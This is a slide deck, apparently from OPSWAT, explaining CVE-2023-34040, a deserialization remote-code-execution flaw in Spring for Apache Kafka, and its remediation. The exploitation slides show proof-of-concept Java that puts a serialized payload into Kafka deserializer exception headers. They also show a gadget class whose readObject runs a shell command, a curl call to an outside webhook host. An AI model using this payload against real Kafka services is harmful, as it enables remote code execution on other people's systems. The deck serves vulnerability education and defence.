

OPSWAT.

CVE-2023-34040

Spring for Apache Kafka

Prepared for: Presentation

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Wednesday, April 24, 2024

CONTENT

Overview about
CVE-2023-34040

The structure of
Apache Kafka

How does the
vulnerability work?

Exploitation and
Remediation

OPSWAT.


Overview about CVE-2023-34040

Introducing Apache Kafka


- Apache Kafka is an open-source distributed event streaming platform used by thousands of companies for high-performance data pipelines, streaming analytics, data integration, and mission-critical applications.
- It offers many capabilities.



high throughput



scalable



permanent storage




high availability

Overview about CVE-2023-34040

Spring for Apache Kafka

The Spring for Apache Kafka project applies core Spring concepts to the development of Kafka-based messaging solutions. They provide a “template” as a high-level abstraction for sending messages.



CVE-2023-34040 Description

In **Spring** for Apache Kafka **3.0.9** and **earlier** and **versions 2.9.10** and **earlier**, a **possible deserialization attack vector** existed, but **only if unusual configuration was applied**. An attacker would have to construct a malicious serialized object in one of the deserialization exception record headers.

CVE-2023-34040 Description (cont)

Specifically, an application is vulnerable when all of the following are true:

- The user does **not configure** an **ErrorHandlingDeserializer** for the key and/or value of the record.
- The user explicitly **sets container properties checkDeserExWhenKeyNull** and/or **checkDeserExWhenValueNull** container properties to **true**.
- The user **allows untrusted sources** to **publish** to a **Kafka topic**.

By default, these properties are **false**, and the container **only** attempts to **deserialize** the headers if an **ErrorHandlingDeserializer** is configured. The **ErrorHandlingDeserializer** prevents the vulnerability by removing any such malicious headers before processing the record.

C V E - 2 0 2 3 - 3 4 0 4 0

Severity

CVE Dictionary Entry:

[CVE-2023-34040](#)

NVD Published Date:

08/24/2023

NVD Last Modified:

10/18/2023

Source:

VMWare

[NVD – CVE-2023-34040 \(nist.gov\)](#)

CVE-2023-34040 Detail

Description

In Spring for Apache Kafka 3.0.9 and earlier and versions 2.9.10 and earlier, a possible deserialization attack vector existed, but only if unusual configuration was applied. An attacker would have to construct a malicious serialized object in one of the deserialization exception record headers. Specifically, an application is vulnerable when all of the following are true: * The user does not configure an ErrorHandlerDeserializer for the key and/or value of the record * The user explicitly sets container properties checkDeserExWhenKeyNull and/or checkDeserExWhenValueNull container properties to true. * The user allows untrusted sources to publish to a Kafka topic By default, these properties are false, and the container only attempts to deserialize the headers if an ErrorHandlerDeserializer is configured. The ErrorHandlerDeserializer prevents the vulnerability by removing any such malicious headers before processing the record.

Severity

CVSS Version 3.x

CVSS Version 2.0

CVSS 3.x Severity and Metrics:



NIST: NVD

Base Score: 7.8 HIGH

Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H



CNA: VMware

Base Score: 5.3 MEDIUM

Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

NVD Analysts use publicly available information to associate vector strings and CVSS scores. We also display any CVSS information provided within the CVE List from the CNA.

Note: It is possible that the NVD CVSS may not match that of the CNA. The most common reason for this is that publicly available information does not provide sufficient detail or that information simply was not available at the time the CVSS vector string was assigned.

Overview about CVE-2023-34040

Severity

CVSS 3.1 Calculator

CVSS v3.1 Vector

AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base Score Metrics

Exploitability Metrics

Attack Vector (AV)*

Network (AV:N) Adjacent Network (AV:A) **Local (AV:L)** Physical (AV:P)

Attack Complexity (AC)*

Low (AC:L) High (AC:H)

Privileges Required (PR)*

None (PR:N) **Low (PR:L)** High (PR:H)

User Interaction (UI)*

None (UI:N) Required (UI:R)

Scope (S)*

Unchanged (S:U) Changed (S:C)

Impact Metrics

Confidentiality Impact (C)*

None (C:N) Low (C:L) **High (C:H)**

Integrity Impact (I)*

None (I:N) Low (I:L) **High (I:H)**

Availability Impact (A)*





None (A:N) Low (A:L) **High (A:H)**

* - All base metrics are required to generate a base score.

Overview about CVE-2023-34040

Severity

CVSS 3.1 Calculator




CVSS Base Score: 7.8
Impact Subscore: 5.9
Exploitability Subscore: 1.8
CVSS Temporal Score: NA
CVSS Environmental Score: NA
Modified Impact Subscore: NA
Overall CVSS Score: 7.8

Show Equations


OPSWAT.

The structure of Apache Kafka




The structure of Apache Kafka

Concepts of Kafka service




The structure of Kafka record




OPSWAT.

**How does the
vulnerability work?**




WORKFLOW to RCE



How does the vulnerability work?

Serialization and Deserialization



How does the vulnerability work?

Serialization

2.3 The writeObject Method

For serializable objects, the writeObject method allows a class to control the serialization of its own fields. Here is its signature:

```
private void writeObject(ObjectOutputStream stream)
    throws IOException;
```

Each subclass of a serializable object may define its own writeObject method. If a class does not implement the method, the default serialization provided by defaultWriteObject will be used. When implemented, the class is only responsible for writing its own fields, not those of its supertypes or subtypes.

How does the vulnerability work?

Serialized DATA Struct

```
1 import java.io.*;
2
3 public class User implements Serializable {
4     private String name;
5     public User(String name) {
6         this.name = "Guest";
7     }
8
9     public String toString() {
10         return this.name;
11     }
12 }
```



user.bin x																																	
	0	1	2	3	4	5	6	7	8	9	A	B	C	D	E	F	0	1	2	3	4	5	6	7	8	9	A	B	C	D	E	F	
0000	AC	ED	00	05	73	72	00	04	55	73	65	72	A9	CE	39	0D	~	i	.	s	r	.	U	s	e	r	@	I	9	.			
0010	21	67	EB	23	02	00	01	4C	00	04	6E	61	6D	65	74	00	!	g	e	#	.	.	.	L	.	.	n	a	m	e	.	.	
0020	12	4C	6A	61	76	61	2F	6C	61	6E	67	2F	53	74	72	69	.	L	j	a	v	a	/	l	a	n	g	/	S	t	r	i	
0030	6E	67	3B	78	70	74	00	05	47	75	65	73	74	_			n	g	;	x	p	t	.	.	G	u	e	s	t				

How does the vulnerability work?

Serialized DATA Struct

user.bin x																	0123456789ABCDEF
0000	AC	ED	00	05	73	72	00	04	55	73	65	72	A9	CE	39	0D	~i..sr..User@i9.
0010	21	67	EB	23	02	00	01	4C	00	04	6E	61	6D	65	74	00	!ge#...L..namet.
0020	12	4C	5A	61	76	61	2F	6C	61	6E	67	2F	53	74	72	69	.Ljava/lang/Stri
0030	6E	67	3B	78	70	74	00	05	47	75	65	73	74				ng:xpt..Guest

FILE SIGNATURE (4 bytes)

CLASS NAME

ATTRIBUTE NAME

ATTRIBUTE VALUE

How does the vulnerability work?

Deserialization

3.4 The readObject Method

For serializable objects, the `readObject` method allows a class to control the deserialization of its own fields. Here is its signature:

```
private void readObject(ObjectInputStream stream)
    throws IOException, ClassNotFoundException;
```


Each subclass of a serializable object may define its own `readObject` method. If a class does not implement the method, the default serialization provided by `defaultReadObject` will be used. When implemented, the class is only responsible for restoring its own fields, not those of its supertypes or subtypes.



Root cause


OPSWAT.

How to Exploit?



How to exploit?


Flow of gadgets chain



How to Exploit?

Receive Records

GADGETS CHAIN



The screenshot shows an IDE with a project named 'Spring-Kafka-POC-CVE-2023-34040'. The project structure on the left includes a 'src' directory with 'main' and 'java' subdirectories. The 'java' directory contains a 'com.contrast' package with a 'gadget' subpackage. The 'gadget' subpackage contains 'ProcBuilder', 'Greeting', 'KafkaApplication', 'KafkaConsumerConfig', and 'KafkaTopicConfig' classes. The 'main' directory contains a 'main' class. The 'resources' directory is also visible. The code editor shows the following code:

```
public static void main(String[] args) throws Exception {  
    ConfigurableApplicationContext context = SpringApplication.run(KafkaApplication.class, args);  
    MessageProducer producer = context.getBean(MessageProducer.class);  
  
    /*  
     * Sending message to 'greeting' topic. This will send  
     * and received a java object with the help of  
     * greetingKafkaListenerContainerFactory.  
     */  
    producer.sendGreetingMessage(new Greeting( msg: "I'm Coming", name: "Hacker"));  
    System.out.println("Message Sent");  
    Thread.sleep( millis: 1000);  
    context.close();  
}
```

```
public void sendGreetingMessage(Greeting greeting) throws IOException {  
    Map<String, Object> headerMap = new HashMap<>();  
    // Both DOS and RCE Payloads are available, please note.  
    // When sending a DOS payload, once you have validated the DOS is successful  
    // you will need to delete all the messages from the queue / delete the queue.  
    // As the message was not fully read. When the consumer is restarted it will attempt  
    // to read the DOS message again. Leaving the queue in a unrecoverable state.  
    // byte[] dosPayload = PayloadGenerator.getDOSPayload();  
    byte[] rcePayload = PayloadGenerator.getRCEPayload( s: "curl https://webhook.site/3d120dbd-8dda-47ad-8f4e-ebd8b211dc3e");  
    headerMap.put(SerializationUtils.VALUE_DESERIALIZER_EXCEPTION_HEADER, rcePayload);  
    headerMap.put(SerializationUtils.KEY_DESERIALIZER_EXCEPTION_HEADER, rcePayload);  
    MessageHeaders headers = new MessageHeaders(headerMap);  
    greetingKafkaTemplate.send(MessageBuilder.createMessage(greeting, headers));  
}
```

Receive Records

```
graph TD; A[Receive Records] --> B[Check Records]; B --> C[Check Deserialize Exception Header]; C --> D[Get Exception From Header]; D --> E[readObject() (Custom)]; E --> F[Remote Code Execution]
```


The flowchart illustrates the Remote Code Execution process. It starts with 'Receive Records' (highlighted with a red border), which leads to 'Check Records'. From 'Check Records', the flow goes to 'Check Deserialize Exception Header', then to 'Get Exception From Header', and finally to 'readObject() (Custom)'. The last step, 'readObject() (Custom)', leads to 'Remote Code Execution'.



How to Exploit?

Check Records

GADGETS CHAIN



The screenshot shows an IDE with the file `KafkaMessageListenerContainer.java` open. The code is in the `invokeOnMessage` method. A red box highlights the following line:

```
if (record.key() == null && this.checkNullKeyForExceptions == true) {
```


The IDE also shows a debug console with the following output:

```
record = (ConsumerRecord@9506) "ConsumerRecord(topic = greeting, partition = 0, leaderEpoch = 0, offset = 3, CreateTime = 1713445305845, ...)"
  > topic = "greeting"
  > partition = 0
  > offset = 3
  > timestamp = 1713445305845
  > timestampType = {TimestampType@9154} "CreateTime"
  > serializedKeySize = -1
  > serializedValueSize = 36
  > headers = {RecordHeaders@9452} "RecordHeaders(headers = [RecordHeader(key = springDeserializerExceptionValue, value = [-84, -19, 0, 5, 115, 114, 0, 69, 111, 114, ...])]"
  > key = null
  > value = {Greeting@9508} "I'm Coming, Hacker!"
  > leaderEpoch = {Optional@9509} "Optional[0]"
```

How to Exploit?

Check Exception

GADGETS CHAIN



```
2765 @ public void checkDeser(final ConsumerRecord<K, V> record, String headerName) { record: "ConsumerRecord(topic =
2766 DeserializationException exception = ListenerUtils.getExceptionFromHeader(record, headerName, this.logger);
2767 if (exception != null) {
2768     /*
2769     * Wrapping in a LEFE is not strictly correct, but required for backwards compatibility.
2770     */
2771     throw decorateException(exception);
2772 }
2773 }
2774
2775 public void ackCurrent(final ConsumerRecord<K, V> record) {
```




Evaluate expression (Enter) or add a watch (Ctrl+Shift+Enter)

```
> header = Cannot find local variable 'header'
> ((Slf4jLocationAwareLog)logger.log).name = "org.springframework.kafka.listener.KafkaMessageListenerContainer"
> this = {KafkaMessageListenerContainer$ListenerConsumer@7349} "KafkaMessageListenerContainer.ListenerConsumer [\ncontainerProperties=ContainerProperties [\n topics=[greeting]\n po
> record = {ConsumerRecord@9506} "ConsumerRecord(topic = greeting, partition = 0, leaderEpoch = 0, offset = 3, CreateTime = 1713445305845, serialized key size = -1, serialized value size = 31
> headerName = "springDeserializerExceptionKey"
> this.logger = {LogAccessor@7355}
```


How to Exploit?

Get Exception

GADGETS CHAIN



```
100 @Nullable
101 @ public static DeserializationException getExceptionFromHeader(final ConsumerRecord<?, ?> record, String headerName, LogAccessor logger) {
102     Header header = record.headers().lastHeader(headerName);
103     if (header != null) {
104         byte[] value = header.value();
105         DeserializationException exception = byteArrayToDeserializationException(logger, value);
106         if (exception != null) {
107             Headers headers = new RecordHeaders(record.headers().toArray());
108             headers.remove(headerName);
109             exception.setHeaders(headers);
110         }
111         return exception;
112     }
113 }
114 }
```


Debugger console output:

```
> header = {RecordHeader@9458} "RecordHeader(key = springDeserializersExceptionKey, value = [-84, -19, 0, 5, 115, 114, 0, 69, 111, 114, 103, 46, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 107, 46, 107, 97, 102, 107, 97, 46, 115, 117, 112, 112, 111, 114, 116, 46, 115, 101, ... View
> ((Slf4jLocationAwareLog)logger.log).name = "org.springframework.kafka.listener.KafkaMessageListenerContainer"
> static members of ListenerUtils
> record = {ConsumerRecord@9506} "ConsumerRecord(topic = greeting, partition = 0, leaderEpoch = 0, offset = 3, CreateTime = 1713445305845, serialized key size = -1, serialized value size = 36, headers = RecordHeaders(headers = [RecordHeader(key = springDeserializersExceptionV... View
> headerName = "springDeserializersExceptionKey"
> logger = {LogAccessor@7355}
> header = {RecordHeader@9458} "RecordHeader(key = springDeserializersExceptionKey, value = [-84, -19, 0, 5, 115, 114, 0, 69, 111, 114, 103, 46, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 107, 46, 107, 97, 102, 107, 97, 46, 115, 117, 112, 112, 111, 114, 116, 46, 115, 101, ... View
> keyBuffer = null
> key = "springDeserializersExceptionKey"
> valueBuffer = null
> value = {byte[257]@9519} [-84, -19, 0, 5, 115, 114, 0, 69, 111, 114, 103, 46, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 107, 46, 107, 97, 102, 107, 97, 46, 115, 117, 112, 112, 111, 114, 116, 46, 115, 101, 114, 105, 97, 108, 105, 122, 101, 114, 46, 68, 101, 115, 101, 114, 105, ... View
> value = {byte[257]@9519} [-84, -19, 0, 5, 115, 114, 0, 69, 111, 114, 103, 46, 115, 112, 114, 105, 110, 103, 102, 114, 97, 109, 101, 119, 111, 114, 107, 46, 107, 97, 102, 107, 97, 46, 115, 117, 112, 112, 111, 114, 116, 46, 115, 101, 114, 105, 97, ... View
```

How to Exploit?

Deserialize Data

GADGETS CHAIN




```
127 public static DeserializationException byteArrayToDeserializationException(LogAccessor logger, byte[] value) { logger:
128     try {
129         ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(value)) { value: [-84, -19, 0, 5, 115, 1
130
131             boolean first = true;
132
133             @Override
134             protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
135                 if (this.first) {
136                     this.first = false;
137                     Assert.state(desc.getName().equals(DeserializationException.class.getName()),
138                         message: "Header does not contain a DeserializationException");
139                 }
140                 return super.resolveClass(desc);
141             }
142
143         };
144
145         return (DeserializationException) ois.readObject(); ois: ListenerUtils$1@10140
146     }
```

How to Exploit?

RCE


GADGETS CHAIN



```
6
7 public class ProcBuilder implements Serializable { no usages
8
9     private String cmd; 4 usages      cmd: "curl https://webhook.site/3d120dbd-8dda-47ad-8f4e-ebd8b211dc3e"
10
11     public String getCmd() { return cmd; }
12
13
14
15     public void addCommandInNotBeanStandardWay(String string ) { cmd = string; }
16
17
18
19     public void setCmd(String cmd) { 1 usage
20         this.cmd = cmd;
21         try {
22             Runtime.getRuntime().exec(cmd);
23         } catch (IOException e) {
24             e.printStackTrace();
25         }
26     }
27
28 @ private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { no usages      ois: ListenerUtils$1@10423
29     ois.defaultReadObject(); ois: ListenerUtils$1@10423
30     setCmd(cmd); cmd: "curl https://webhook.site/3d120dbd-8dda-47ad-8f4e-ebd8b211dc3e"
31 }
32 }
```

OPSWAT.

Exploitation and Remediation



Exploit: Scenario



Apache server that runs affected version of Spring for Apache Kafka.



Attacker creates a malicious object and sends it to server for deserialization.



After successfully establishing a connection, execution commands will be sent to hide the behavior and execute exploits to exert **complete control** of the victim's device.

Remediation

- Scan with MetaDefender Core (SBOM).
- Update to later version.
- Do not set the checkDeserExWhenKeyNull or checkDeserExWhenValueNull container properties when not in use.

OPSWAT.

Demo video


We have two video:

Exploitation:

- Server
 - + Deploy vulnerable server
- Attacker:
 - + Prepare RCE payload
 - + Upload to server through maven commands
 - + Discovery directory on server

Remediation:

- Scan with MetaDefender Core





EXPLOITATION AND REMEDIATION

Exploitation video

OPSWAT.

PoC of CVE - 2023 - 34040



EXPLOITATION AND REMEDIATION

Remediation video

OPSWAT.

CVE-2023-34040 Remediation with MetaDefender Core

Thank you for listening
Q&A

OPSWAT.